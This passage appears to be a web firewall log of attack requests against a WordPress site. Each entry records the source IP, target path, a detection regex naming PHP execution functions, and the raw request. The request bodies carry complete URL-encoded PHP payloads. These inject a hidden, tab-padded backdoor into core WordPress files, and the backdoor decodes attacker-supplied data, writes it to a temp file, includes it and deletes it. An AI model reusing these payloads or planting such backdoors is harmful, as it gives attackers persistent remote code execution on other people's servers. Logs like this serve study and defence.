2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:33","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:3849\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:40:38","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3826\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nzA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:42","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ni:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4542\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nNi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:45","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev